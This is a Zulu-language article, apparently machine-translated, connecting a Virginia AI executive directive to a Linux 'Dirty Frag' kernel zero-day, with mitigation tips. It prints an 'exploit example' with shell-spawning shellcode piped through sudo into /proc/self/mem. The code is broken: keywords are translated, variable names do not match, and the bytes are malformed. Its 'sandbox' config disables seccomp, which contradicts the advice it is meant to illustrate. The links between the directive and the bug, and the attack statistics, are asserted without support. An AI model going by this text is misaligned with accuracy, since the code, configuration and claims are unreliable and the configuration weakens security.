I-Virginia Governor Isayina I-AI Executive Directive 6: Inkathi Entsha Yokuphepha kwe-AI kanye Nosongo Oluqhubekayo Lokuba Sengozini Kwe-Dirty Frag Kernel Zero-Day

Umbusi waseVirginia Usayina I-AI Executive Directive 6: Inkathi Entsha Yokuphepha kwe-AI kanye Nosongo Oluqhubekayo Lokuba Sengozini Kwe-Dirty Frag Kernel Zero-Day

Ukusayinwa kwakamuva kwe-AI Executive Directive 6 nguMbusi waseVirginia Spanberger kuphawula isikhathi esibalulekile emizamweni kahulumeni yokubhekana nezinkinga zokuphepha ezihlobene ne-AI. Lo myalelo, okhomba ukuhlasela kwe-Anthropic FOIA-Agent kuhulumeni, ubonisa ukuqwashisa okukhulayo kwezingozi ezingaba khona ezihlobene nobuchwepheshe be-AI kanye nesidingo sesenzo sokulawula. Njengochwepheshe bezobuchwepheshe, kubalulekile ukuqonda imithelela yalo myalelo kanye nomthelela wawo ongaba khona ekuthuthukisweni nasekusabalaleni kobuchwepheshe be-AI.

Usongo Olukhulayo Lokukhathazeka Okuhlobene Nokuphepha Okuhlobene ne-AI

Ukwamukelwa okwandayo kobuchwepheshe be-AI kuholele ekukhathazekeni okukhulu kwezokuphepha. Ngokombiko we-AI Herald, inani lezehlakalo zokuphepha ezihlobene ne-AI lenyuke kakhulu onyakeni odlule, eziningi zalezi zigameko ezibandakanya ukuhlasela kwe-Anthropic FOIA-Agent. Lokhu kuhlasela, okusebenzisa ubungozi ezinhlelweni ze-AI, kungaba nemiphumela edabukisayo, okuhlanganisa ukuphulwa kwedatha kanye nokufakwa engozini kwesistimu.

Ukwenyuka okwesabekayo kokuhlaselwa kwe-Anthropic FOIA-Agent, okukhuphuke ngo-300% ngonyaka odlule, kugcizelela isidingo esiphuthumayo sesinyathelo sokubhekana nalokhu kukhathazeka kwezokuphepha.

I-Dirty Frag Kernel Zero-Day Ukuba Sengozini: Usongo Oluzayo

Ukuba sengozini kwe-Dirty Frag kernel zero-day kubangela usongo olukhulu ekusatshalalisweni kwe-Linux, okuvumela abasebenzisi abangenalo ilungelo ukuthi bathole ukufinyelela kwempande okunqunyiwe kokusatshalaliswa kweLinux okuningi. Njengoba kubonisiwe ekudalulweni kuka-Hyunwoo Kim, ukuba sengozini kwe-Dirty Frag kungaxhashazwa kusetshenziswa ukuxhashazwa okulula, okukwenze kube ukukhathazeka ngokucindezela kubalawuli besistimu nezingcweti zezokuphepha.

# Isibonelo sekhodi yokuxhaphaza yokuba sengozini kwe-Dirty Frag
ngenisa os

# Chaza umthwalo wokuxhaphaza
umthwalo = b"\x48\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x68\ x2f\x2f\x73\x68\x68\x2f\x75\x73\x72\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

# Dala inqubo entsha futhi wenze umthwalo okhokhelwayo
os.system("echo '{}' | sudo tee /proc/self/mem > /dev/null".format(payload.hex()))

💡 Ukuqonda Okubalulekile: Ukuba sengozini kwe-Dirty Frag kernel zero-day kubangela usongo olukhulu ekusatshalalisweni kwe-Linux, futhi abaphathi besistimu nezingcweti zezokuphepha kufanele bathathe isinyathelo esisheshayo ukuze baxhume futhi babuyekeze amasistimu abo.

Ukuxhuma Amachashazi: I-AI Executive Directive 6 kanye nokuba sengozini ye-Dirty Frag

Ukusayinwa kwe-AI Executive Directive 6 kanye nokuba khona kwe-Dirty Frag kernel zero-day sengozini kuxhumene eduze. Ukugxila komyalelo ekubhekaneni nokukhathazeka okuhlobene nokuvikeleka okuhlobene ne-AI kubaluleke kakhulu kumongo wokuba sengozini ye-Dirty Frag, engasetshenziswa ukuze koniwe amasistimu e-AI. Ngokubhekana nokuba sengozini kwe-Dirty Frag, ochwepheshe bezobuchwepheshe bangasiza ekwehliseni ubungozi obuhlobene nokukhathazeka kwezokuphepha okuhlobene ne-AI.

Ukunciphisa Ukuba Sengozini Kwezingcezu Ezingcolile

Ukuze unciphise ukuba sengozini kwe-Dirty Frag, abaphathi besistimu nezingcweti zezokuphepha bangathatha izinyathelo ezimbalwa, ezihlanganisa:

• Ukuphesha nokubuyekeza ukusatshalaliswa kwe-Linux kube inguqulo yakamuva
• Ukusebenzisa isiqukathi namabhokisi esanti e-microVM ukuhlukanisa amasistimu asengozini
• Ukuqapha izingodo zesistimu kanye nethrafikhi yenethiwekhi ukuthola izimpawu zokuxhashazwa

# Ukucushwa kwesibonelo sebhokisi lesihlabathi
inguqulo: "3"
amasevisi:
  Isevisi esengozini:
    isithombe: sengozini-isithombe
    i-container_name: isitsha esisengozini
    qala kabusha: njalo
    security_opt:
      - i-seccomp: ayivaliwe
    imiqulu:
      - ./vulnerable-data:/data

⚠️ Ingcuphe Yezakhiwo: Ukwehluleka ukunciphisa ukuba sengozini Kwe-Dirty Frag kungaholela ezingozini ezinkulu zokuphepha, okuhlanganisa ukuphulwa kwedatha kanye nokufakwa engozini kwesistimu. Abaphathi besistimu nezingcweti zezokuphepha kufanele bathathe isinyathelo ngokushesha ukuze babhekane nalokhu kuba sengozini.

Izincomo Zochwepheshe Bezobuchwepheshe

Ukuze uzulazule esimweni esiyinkimbinkimbi sezinkinga zokuphepha ezihlobene ne-AI kanye nokuba sengozini, ochwepheshe bezobuchwepheshe kufanele:

• Hlala unolwazi mayelana nokukhathazeka kwakamuva okuhlobene nezokuphepha okuhlobene ne-AI kanye nokuba sengozini
• Sebenzisa izindlela zokuphepha eziqinile, okuhlanganisa ukuchibiyela nokuvuselela amasistimu, nokusebenzisa isiqukathi namabhokisi esanti e-microVM
• Qapha izingodo zesistimu kanye nethrafikhi yenethiwekhi ukuze uthole izimpawu zokuxhashazwa

Ngokuthatha lezi zinyathelo, ochwepheshe bezobuchwepheshe bangasiza ukuqinisekisa ukuvikeleka nobuqotho bezinhlelo ze-AI futhi banciphise ubungozi obuhlobene nokukhathazeka okuhlobene nokuphepha okuhlobene ne-AI.

Imithombo

• Umbiko we-AI Herald — Izindaba zakamuva ze-AI nezibuyekezo
• Ukudalulwa kuka-Hyunwoo Kim — Ukudalulwa kobungozi be-Dirty Frag kernel zero-day
• Umbiko we-AI Weviki — Izindaba eziphezulu ze-AI nezibuyekezo ezibukhoma
• Umbiko Womhlaba We-AI — Izindaba zansuku zonke ze-AI nezibuyekezo
• Qaphela umbiko we-AI — Izindaba ze-AI nezibuyekezo ezibalulekile namuhla